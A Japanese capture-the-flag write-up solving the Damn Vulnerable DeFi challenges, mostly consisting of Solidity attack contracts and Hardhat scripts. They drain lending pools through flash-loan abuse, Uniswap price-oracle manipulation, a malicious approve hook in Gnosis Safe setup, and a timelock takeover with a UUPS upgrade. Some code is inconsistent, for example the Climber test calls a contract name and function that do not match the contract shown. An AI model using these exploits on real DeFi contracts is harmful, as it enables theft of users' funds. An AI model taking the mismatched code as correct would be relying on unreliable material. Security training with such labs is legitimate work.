いくつかの問題解決
unstoppable#
問題解決
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.transfer(this.pool.address, 1);
});
分析
falshLoan() の中に assert(poolBalance == balanceBefore); が存在する。
したがって、 deposit() を通さずに pool に送金することで assert の条件を満たさないようにすればよい。
truster#
問題解決
攻撃契約:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./TrusterLenderPool.sol";
interface Token {
function approve(address spender, uint256 amount) external returns (bool);
}
contract TrusterExploit {
function getApprove(
address spender,
uint256 amount
) public returns (bytes memory) {
bytes memory data = abi.encodeWithSelector(
Token.approve.selector,
spender,
amount
);
return data;
}
function DOflashLoan(
TrusterLenderPool pool,
uint256 amount,
address borrower,
address target,
address player
) public {
bytes memory data = getApprove(player, amount);
pool.flashLoan(0, borrower, target, data);
}
}
その後、js で別の操作を実行:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
/*const data = web3.eth.abi.encodeFunctionCall(
{
name: 'approve',
type: 'function',
inputs: [
{
type: 'address',
name: 'spender'
},
{
type: 'uint256',
name: 'amount'
}
]
}, [player.address, TOKENS_IN_POOL]
)*/
[deployer, player] = await ethers.getSigners();
exploit = await (await ethers.getContractFactory('TrusterExploit', deployer)).deploy();
await exploit.DOflashLoan(pool.address, TOKENS_IN_POOL, player.address, token.address, player.address);
await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
});
分析
data を構築して token 契約の approve () 関数を呼び出し、自分に TOKEN_IN_POOL と等しい許可を追加し、その後 flashLoan を実行して 0 を借り、最後に token 契約の transferFrom を実行してお金を移動させる。
naive-receiver#
問題解決
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const ETH = await pool.ETH();
for (let i = 0; i < 10; i++) {
await pool.flashLoan(receiver.address, ETH, 0, "0x");
}
});
分析
借り入れを行うたびに 1ETH が消費されるため、receiver に 10 回借り入れを行わせればよい。
side-entrance#
問題解決
攻撃契約
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./SideEntranceLenderPool.sol";
contract FlashLoanEtherReceiverMock {
SideEntranceLenderPool pool;
constructor(address ipool) public {
pool = SideEntranceLenderPool(ipool);
}
function exploit() external payable {
pool.flashLoan(address(pool).balance);
pool.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
function execute() external payable {
pool.deposit{value: address(this).balance}();
}
receive() external payable {}
}
実行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
let attacker = await (await ethers.getContractFactory('FlashLoanEtherReceiverMock', player)).deploy(pool.address);
await attacker.connect(player).exploit();
});
分析:
falsnLoan () を実行した後、excute () を実行し、借りたお金を自分のアカウントにプールに預けるが、プールにその金額が確かに存在するため、 if (address(this).balance < balanceBefore) revert RepayFailed(); のチェックを回避できる。その後、withdraw () を呼び出して引き出し、自分にお金を送ることができる。
the-rewarder#
問題解決
攻撃契約
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableToken.sol";
import "./FlashLoanerPool.sol";
//import "./RewardToken.sol"; //なぜかimportすると同じ定義が存在するというエラーが出るが、コメントアウトすれば問題なく使える
import "./TheRewarderPool.sol";
contract DearSuspect {
DamnValuableToken liquidToken;
RewardToken rewardToken;
FlashLoanerPool flashloanPool;
TheRewarderPool rewardPool;
constructor(
address _liquidityToken,
address _rewardToken,
address _flashLoanerPool,
address _theRewarderPool
) {
liquidToken = DamnValuableToken(_liquidityToken);
rewardToken = RewardToken(_rewardToken);
flashloanPool = FlashLoanerPool(_flashLoanerPool);
rewardPool = TheRewarderPool(_theRewarderPool);
}
function exploit() public {
uint256 amount = liquidToken.balanceOf(address(flashloanPool));
flashloanPool.flashLoan(amount);
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
}
function receiveFlashLoan(uint256 amount) external {
liquidToken.approve(address(rewardPool), amount);
rewardPool.deposit(amount);
rewardPool.withdraw(amount);
liquidToken.transfer(address(flashloanPool), amount);
} //実行後の操作
fallback() external payable {}
}
実行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days 特に注意が必要、チェーンの時間をこの操作で5日間増やさないと成功しない
let suspectFactory = await ethers.getContractFactory('DearSuspect', deployer);
let suspect = await suspectFactory.deploy(liquidityToken.address, rewardToken.address, flashLoanPool.address, rewarderPool.address);
await suspect.connect(player).exploit();
});
分析:
TheRewardPool 契約の中でliquidityTokenは本物のトークンであり、accTokenは論理演算を行うトークンであり、rewardTokenは報酬である。
報酬の計算方法は:*rewards = amountDeposited.mulDiv (REWARDS, totalDeposits);* であり、mulDiv 関数の具体的なコードは見つからなかったが、その名前から機能は乗算と除算であることがわかる。プールの全資金を使って計算を試みる。
selfie#
問題解決
攻撃契約
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ISimpleGovernance.sol";
import "./SimpleGovernance.sol";
import "./SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
interface IERC20Snapshot is IERC20 {
function snapshot() external returns (uint256 lastSnapshotId);
}
contract suspect {
SelfiePool public immutable pool;
SimpleGovernance public governance;
IERC20Snapshot public immutable token;
address public immutable owner;
IERC3156FlashBorrower public borrower;
uint256 amount;
constructor(address _pool, address _governance, address _token) {
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
token = IERC20Snapshot(_token);
owner = msg.sender;
borrower = IERC3156FlashBorrower(address(this));
}
function attack() public {
amount = token.balanceOf(address(pool));
pool.flashLoan(borrower, address(token), amount, "0x111");
}
function onFlashLoan(
address,
address,
uint256,
uint256,
bytes calldata
) public returns (bytes32) {
require(msg.sender == address(pool), "not pool");
require(tx.origin == owner, "not owner");
token.snapshot();
bytes memory data = abi.encodeWithSignature(
"emergencyExit(address)",
owner
);
governance.queueAction(address(pool), 0, data);
token.approve(address(pool), amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
実行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
this.suspect = await (await ethers.getContractFactory("suspect", player)).deploy(pool.address, governance.address, token.address);
await this.suspect.attack();
const ACTION_DELAY = 2 * 24 * 60 * 60 + 1;
await time.increase(ACTION_DELAY); // 問題に対処するため:uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days; in SimpleGovernance.sol
await governance.connect(player).executeAction(1); // queue and execute action
});
分析:
問題は明示的に governance に問題があることを示しており、プールはフラッシュローンと emergencyExit を提供しているため、直接実行すればよい。
compromised#
問題解決
実行操作:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
// 入力の16進数文字列
const hexString1 = "4d48686a4e6a63345a575978595745304e545a6b59545931597a5a6d597a55344e6a466b4e4451344f544a6a5a475a68597a426a4e6d4d34597a49314e6a42695a6a426a4f575a69593252685a544a6d4e44637a4e574535";
const hexString2 = "4d4867794d4467794e444a6a4e4442685932526d59546c6c5a4467344f5755324f44566a4d6a4d314e44646859324a6c5a446c695a575a6a4e6a417a4e7a466c4f5467334e575a69593251334d7a597a4e444269596a5134";
// 16進数文字列をバイト配列に変換
const byteArray1 = hexString1.match(/.{1,2}/g).map(byte => parseInt(byte, 16));
const byteArray2 = hexString2.match(/.{1,2}/g).map(byte => parseInt(byte, 16));
// バイト配列をUTF-8テキストにデコード
const base64Text1 = Buffer.from(byteArray1).toString('utf-8');
const base64Text2 = Buffer.from(byteArray2).toString('utf-8');
// base64テキストをUTF-8テキストにデコード
const privateKey_one = Buffer.from(base64Text1, 'base64').toString('utf-8');
const privateKey_two = Buffer.from(base64Text2, 'base64').toString('utf-8');
// ウォレットに接続して価格を提示
const wallet_1 = new ethers.Wallet(privateKey_one, ethers.provider);
const wallet_2 = new ethers.Wallet(privateKey_two, ethers.provider);
await oracle.connect(wallet_1).postPrice('DVNFT', 1); // buy中にmsg.value != 0が要求されるため、ここでは0を提示しない
await oracle.connect(wallet_2).postPrice('DVNFT', 1);
await exchange.connect(player).buyOne({ value: 1 });
// 価格を変更し、売却操作を行う
await oracle.connect(wallet_1).postPrice('DVNFT', INITIAL_NFT_PRICE + BigInt(1));
await oracle.connect(wallet_2).postPrice('DVNFT', INITIAL_NFT_PRICE + BigInt(1));
await nftToken.connect(player).approve(exchange.address, 0);
await exchange.connect(player).sellOne(0);
// 価格を元に戻す
await oracle.connect(wallet_1).postPrice('DVNFT', INITIAL_NFT_PRICE);
await oracle.connect(wallet_2).postPrice('DVNFT', INITIAL_NFT_PRICE);
/*
試した結果、必ず2つのアカウントで価格を提示する必要があり、そうでないと成功しない。buyOne()でエラーが発生する:reverted with custom error 'InvalidPayment()';
理由はTrustfulOracleの中でuint256[] memory prices = getAllPricesForSymbol(symbol);が要求されるため。
*/
});
puppet#
問題解決
契約:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";
/*
インターフェースコード:
@private
@constant
def getInputPrice(input_amount: uint256, input_reserve: uint256, output_reserve: uint256) -> uint256:
assert input_reserve > 0 and output_reserve > 0
input_amount_with_fee: uint256 = input_amount * 997
numerator: uint256 = input_amount_with_fee * output_reserve
denominator: uint256 = (input_reserve * 1000) + input_amount_with_fee
return numerator / denominator
@private
def tokenToEthInput(tokens_sold: uint256, min_eth: uint256(wei), deadline: timestamp, buyer: address, recipient: address) -> uint256(wei):
assert deadline >= block.timestamp and (tokens_sold > 0 and min_eth > 0)
token_reserve: uint256 = self.token.balanceOf(self)
eth_bought: uint256 = self.getInputPrice(tokens_sold, token_reserve, as_unitless_number(self.balance))
wei_bought: uint256(wei) = as_wei_value(eth_bought, 'wei')
assert wei_bought >= min_eth
send(recipient, wei_bought)
assert self.token.transferFrom(buyer, self, tokens_sold)
log.EthPurchase(buyer, tokens_sold, wei_bought)
return wei_bought
*/
interface IUniswapExchangeV1 {
function tokenToEthTransferInput(
uint256 tokens_sold,
uint256 min_eth,
uint256 deadline,
address recipient
) external returns (uint256);
}
interface IPool {
function borrow(uint256 amount, address recipient) external payable;
}
contract PuppetPoolExploit {
/*
before_settingでの基本情報:
const UNISWAP_INITIAL_TOKEN_RESERVE = 10n * 10n ** 18n;
const UNISWAP_INITIAL_ETH_RESERVE = 10n * 10n ** 18n;
const PLAYER_INITIAL_TOKEN_BALANCE = 1000n * 10n ** 18n;
const PLAYER_INITIAL_ETH_BALANCE = 25n * 10n ** 18n;
const POOL_INITIAL_TOKEN_BALANCE = 100000n * 10n ** 18n;
*/
uint256 immutable SELL_DVT_AMOUNT = 1000 ether;
uint256 immutable DEPOSIT_FACTOR = 2;
uint256 immutable BORROW_DVT_AMOUNT = 100000 ether;
IUniswapExchangeV1 immutable UniExchange;
IERC20 immutable token;
IPool immutable pool;
address immutable player;
/*
PuppetPool.solの基本情報:
uint256 public constant DEPOSIT_FACTOR = 2;
address public immutable uniswapPair;
DamnValuableToken public immutable token;
*/
constructor(address _token, address _pair, address _pool) {
token = IERC20(_token);
pool = IPool(_pool);
UniExchange = IUniswapExchangeV1(_pair);
player = msg.sender;
}
function exploit() external payable {
require(msg.sender == player);
// DVTをUniswapプールにダンプ
token.approve(address(UniExchange), SELL_DVT_AMOUNT);
UniExchange.tokenToEthTransferInput(
SELL_DVT_AMOUNT,
9,
block.timestamp,
address(this)
);
// 担保を計算して返す
uint256 price = (address(UniExchange).balance * (10 ** 18)) /
token.balanceOf(address(UniExchange));
uint256 depositRequired = (BORROW_DVT_AMOUNT * price * DEPOSIT_FACTOR) /
10 ** 18;
//この部分のコードはデバッグ情報を出力するためのもの
console.log("contract ETH balance:", address(this).balance);
console.log("DVT price:", price);
console.log("Deposit Required:", depositRequired);
pool.borrow{value: depositRequired}(BORROW_DVT_AMOUNT, player);
}
receive() external payable {}
}
実行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
[, , this.anotherPlayer] = await ethers.getSigners();
const PuppetExploitFactory = await ethers.getContractFactory('PuppetPoolExploit', this.anotherPlayer);
this.PuppetExploit = await PuppetExploitFactory.deploy(
token.address,
uniswapExchange.address,
lendingPool.address
);
token.connect(player).transfer(this.PuppetExploit.address, PLAYER_INITIAL_TOKEN_BALANCE);
await this.PuppetExploit.exploit({ value: 11n * 10n ** 18n });
await token.connect(this.anotherPlayer).transfer(player.address, await token.balanceOf(this.anotherPlayer.address));
});
分析
この問題は uniswapV1 の脆弱性に関するもので、問題の契約の価格は完全に uniswapPair に依存しているため、PLAYER_INITIAL_TOKEN_BALANCE をその uniswapPair インスタンスに預けることで、価格が瞬時に破壊され、その後 borrow を実行すればよい。
puppet-v2#
攻撃契約:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";
interface IUniswapV2Pouter {
function WETH() external pure returns (address);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
/**
* @title
* @author
* @notice
* UniswapV2からの重要な関数がプールに含まれている:
*
* address public immutable override WETH;
*
* function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]);
_swap(amounts, path, to);
}
*/
interface IWETH is IERC20 {
function deposit() external payable;
}
interface IPool {
function borrow(uint256 borrowAmount) external;
function calculateDepositOfWETHRequired(
uint256 tokenAmount
) external view returns (uint256);
}
/**
* チャレンジの基本設定:
const UNISWAP_INITIAL_TOKEN_RESERVE = 100n * 10n ** 18n;
const UNISWAP_INITIAL_WETH_RESERVE = 10n * 10n ** 18n;
const PLAYER_INITIAL_TOKEN_BALANCE = 10000n * 10n ** 18n;
const PLAYER_INITIAL_ETH_BALANCE = 20n * 10n ** 18n;
const POOL_INITIAL_TOKEN_BALANCE = 1000000n * 10n ** 18n;
*/
contract PuppetV2Exploit {
uint256 immutable DUMP_DVT_AMOUNT = 10000 ether;
uint256 immutable BORROW_DVT_AMOUNT = 1000000 ether;
IUniswapV2Pouter immutable router;
IWETH immutable weth;
IPool immutable pool;
IERC20 immutable token;
address immutable player;
constructor(address _router, address _pool, address _token) {
router = IUniswapV2Pouter(_router);
pool = IPool(_pool);
token = IERC20(_token);
weth = IWETH(router.WETH());
player = msg.sender;
}
function exploit() external payable {
require(msg.sender == player);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
token.approve(address(router), DUMP_DVT_AMOUNT);
router.swapExactTokensForTokens(
DUMP_DVT_AMOUNT,
9 ether,
path,
address(this),
block.timestamp
);
// ETHをラップされたものに変換
weth.deposit{value: address(this).balance}();
// 必要な金額を計算
uint256 RequiredWeth = pool.calculateDepositOfWETHRequired(
BORROW_DVT_AMOUNT
);
console.log("contract WETH balance:", weth.balanceOf(address(this)));
console.log("Required WETH:", RequiredWeth);
// 承認して借り入れ
weth.approve(address(pool), weth.balanceOf(address(this)));
pool.borrow(BORROW_DVT_AMOUNT);
// DVTとWETHをすべて転送
token.transfer(player, token.balanceOf(address(this)));
weth.transfer(player, weth.balanceOf(address(this)));
}
receive() external payable {}
}
実行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const PuppetV2ExploitFactory = await ethers.getContractFactory('PuppetV2Exploit', player);
this.PuppetV2Exploit = await PuppetV2ExploitFactory.deploy(
uniswapRouter.address,
lendingPool.address,
token.address
);
await token.connect(player).transfer(this.PuppetV2Exploit.address, PLAYER_INITIAL_TOKEN_BALANCE);
await this.PuppetV2Exploit.exploit({ value: PLAYER_INITIAL_ETH_BALANCE - 4n * 10n ** 17n });
});
分析
この問題も前の問題と同様で、uniswap のソースコードを調べて、相応しい関数を見つけてトークンをスワップして価格を破壊し、その後プールからすべての DVT を借りることができる。
free-rider#
攻撃契約
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
interface IMarketplace {
function buyMany(uint256[] calldata tokenIds) external payable;
}
contract AttackFreeRider {
IUniswapV2Pair private immutable pair;
IMarketplace private immutable marketplace;
IWETH private immutable weth;
IERC721 private immutable nft;
address private immutable recoveryContract;
address private immutable player;
uint256 private constant NFT_PRICE = 15 ether;
uint256[] private tokens = [0, 1, 2, 3, 4, 5];
constructor(
address _pair,
address _marketplace,
address _weth,
address _nft,
address _recoveryContract
) {
pair = IUniswapV2Pair(_pair);
marketplace = IMarketplace(_marketplace);
weth = IWETH(_weth);
nft = IERC721(_nft);
recoveryContract = _recoveryContract;
player = msg.sender;
}
function attack() external payable {
// 1. Uniswapペアから15 WETHのフラッシュスワップをリクエスト
bytes memory data = abi.encode(NFT_PRICE);
pair.swap(NFT_PRICE, 0, address(this), data);
}
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
// アクセス制御
require(msg.sender == address(pair));
require(tx.origin == player);
// WETHをネイティブETHにアンラップ
weth.withdraw(NFT_PRICE);
// すべてのNFTを15 ETHで購入
marketplace.buyMany{value: NFT_PRICE}(tokens);
// ペア契約に15WETH + 0.3%を返済
uint256 amountToPayBack = (NFT_PRICE * 1004) / 1000;
weth.deposit{value: amountToPayBack}();
weth.transfer(address(pair), amountToPayBack);
// NFTを回収契約に送信して報酬を得る
bytes memory data = abi.encode(player);
for (uint256 i; i < tokens.length; i++) {
nft.safeTransferFrom(address(this), recoveryContract, i, data);
}
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
}
実行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const FreeRiderAttacker = await ethers.getContractFactory("AttackFreeRider", player);
this.attackerContract = await FreeRiderAttacker.deploy(
uniswapPair.address, marketplace.address, weth.address,
nft.address, devsContract.address
);
await this.attackerContract.attack({ value: ethers.utils.parseEther("0.045") });
});
分析
FreRiderNFTMarketplace には以下の脆弱性が存在する:
1. 契約内の msg.value 検証に問題があり、_buyOne 関数はユーザーが NFT を購入するために十分な ETH を支払ったかどうかを確認するが、論理エラーが存在する。購入者は buyMany 機能を使用してすべての NFT を購入でき、同時に 1 つの NFT のためにのみ支払うことができ、msg.value は変わらない。
- ETH は NFT の購入者ではなく売り手に送信される。この状況は、NFT が ETH を送信する前に転送されるため、購入者に返金されることになる。
問題は、最初に 0.1ETH しか持っていないため、NFT を 1 つも購入できないが、フラッシュローンを使用して目的を達成する必要がある。
プロセスは次のようになる:
借りる => 借りたWETHをETHにアンラップ => _buyOneの脆弱性を利用してbuyManyを呼び出してすべてのNFTを取得 => 2つ目のエラーのため、すべてのETHとNFTを取得 => 返済し、NFTを回収契約に送信
Backdoor#
攻撃契約
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../backdoor/WalletRegistry.sol";
interface IGnosisFactory {
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) external returns (GnosisSafeProxy proxy);
}
contract MaliciousApprove {
function approve(address attacker, IERC20 token) public {
token.approve(attacker, type(uint256).max);
}
}
contract AttackBackdoor {
WalletRegistry private immutable walletRegistry;
IGnosisFactory private immutable factory;
GnosisSafe private immutable masterCopy;
IERC20 private immutable token;
MaliciousApprove private immutable maliciousApprove;
constructor(address _walletRegistry, address[] memory users) {
// ステート変数を設定
walletRegistry = WalletRegistry(_walletRegistry);
masterCopy = GnosisSafe(payable(walletRegistry.masterCopy()));
factory = IGnosisFactory(walletRegistry.walletFactory());
token = IERC20(walletRegistry.token());
// 悪意のある承認を行うためのバックドアをデプロイ
maliciousApprove = new MaliciousApprove();
// 各ユーザーのためにファクトリを通じて新しいセーフを作成
bytes memory initializer;
address[] memory owners = new address[](1);
address wallet;
for (uint256 i; i < users.length; i++) {
owners[0] = users[i];
initializer = abi.encodeCall(
GnosisSafe.setup,
(
owners,
1,
address(maliciousApprove),
abi.encodeCall(
maliciousApprove.approve,
(address(this), token)
),
address(0),
address(0),
0,
payable(address(0))
)
);
wallet = address(
factory.createProxyWithCallback(
address(masterCopy),
initializer,
0,
walletRegistry
)
);
token.transferFrom(wallet, msg.sender, token.balanceOf(wallet));
}
}
}
実行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const AttackBackdoor = await ethers.getContractFactory("AttackBackdoor", player);
this.attackerContract = await AttackBackdoor.deploy(walletRegistry.address, users)
});
分析
GnosisSafe.sol の中の function setup には以下のようなパラメータがある:
_owners: セーフの所有者リスト
_threshold: セーフ取引に必要な確認数
to: 呼び出しのためのオプションの契約アドレス
data: プロキシ呼び出しのデータ
fallbackHandler: 契約を呼び出すためのフォールバックハンドラ
paymentToken: 支払いトークン(0はETHまたは特定のトークンを示す)
payment: 支払い金額
paymentReceiver: 支払いを受け取るアドレス
この中で data と fallbackHandler は悪用可能であり、IGnosisFactory の中の function createProxyWithCallback は新しいプロキシウォレットを生成するために使用できる。
攻撃は以下の手順で行われる:
1. 悪意のある契約をデプロイし、Gnosis Safe Factory契約をトリガーしてcreateProxyWithCallback関数を実行。
2. Gnosisセーフプロキシを作成:ファクトリを使用して新しいGnosis Safeプロキシをデプロイし、masterCopy実装を指す。
3. 悪意のあるモジュールを実行:新しいプロキシ内でsetup機能を自動的に実行し、契約内のMaliciousApprove悪意のあるモジュールが新しいセーフプロキシを代表してDVTを承認できるようにする。
4. コールバックを実行:コールバック関数をアクティブにし、WalletRegistryを呼び出して一連の検証とチェックを実行。
5. DVTを転送:すべてのチェックが通過した後、WalletRegistryを通じてDVTをセーフプロキシに転送。
6. トークンを盗む:transferFromを実行してセーフからDVTトークンを盗む。
Climber#
攻撃契約
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "./ClimberTimelock.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./ClimberVault.sol";
contract attack6 is UUPSUpgradeable{
ClimberTimelock immutable timelock;
address immutable vaultProxyAddress;
IERC20 immutable token;
address immutable attacker;
constructor(ClimberTimelock _timelock,address _vaultProxyAddress,IERC20 _token){
timelock=_timelock;
vaultProxyAddress = _vaultProxyAddress;
token = _token;
attacker = msg.sender;
}
function buildProposal() internal returns(address[]memory,uint256[]memory,bytes[]memory){
address[] memory targets= new address[](5);
uint256[] memory values =new uint256[](5);
bytes[] memory dataElements=new bytes[](5);
//遅延を0にアップグレード
targets[0]=address(timelock);
values[0]=0;
dataElements[0]=abi.encodeWithSelector(ClimberTimelock.updateDelay.selector,0);
//契約にproposer役割を与える
targets[1]=address(timelock);
values[1]=0;
dataElements[1]=abi.encodeWithSelector(AccessControl.grantRole.selector,timelock.PROPOSER_ROLE(),address(this));
//スケジュールを実行
targets[2]=address(this);
values[2]=0;
dataElements[2] = abi.encodeWithSelector(
attack6.scheduleProposal.selector
);
//climbervaultをアップグレードし、sweepFunds関数を置き換える
targets[3]=address(vaultProxyAddress);
values[3]=0;
dataElements[3]=abi.encodeWithSelector(UUPSUpgradeable.upgradeTo.selector,address(this));
//お金を移動させる
targets[4]=address(vaultProxyAddress);
values[4]=0;
dataElements[4]=abi.encodeWithSelector(attack6.sweepFunds.selector);
return (targets,values,dataElements);
}
function scheduleProposal()external {
(
address[] memory targets,
uint256[] memory values,
bytes[] memory dataElements
) = buildProposal();
timelock.schedule(targets, values, dataElements, 0);
}
function executeProposal() external {
(
address[] memory targets,
uint256[] memory values,
bytes[] memory dataElements
) = buildProposal();
timelock.execute(targets, values, dataElements, 0);
}
function sweepFunds()external {
token.transfer(attacker,token.balanceOf(address(this)));
}
function _authorizeUpgrade(address newImplementation) internal override {}
}
実行操作
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
this.attack = await (await ethers.getContractFactory("attack", attacker)).deploy(this.timelock.address, this.vault.address, this.token.address);
await this.attack.connect(attacker).excuteProposal();
});
分析
攻撃手順:
- 遅延を 0 にする
- 攻撃契約に proposer 権限を与える
- climbervault 契約をアップグレードし、sweepfunds メソッドをオーバーライドする
- sweepfunds を実行してお金を持ってくる
そして execute の前に schedule が必要です。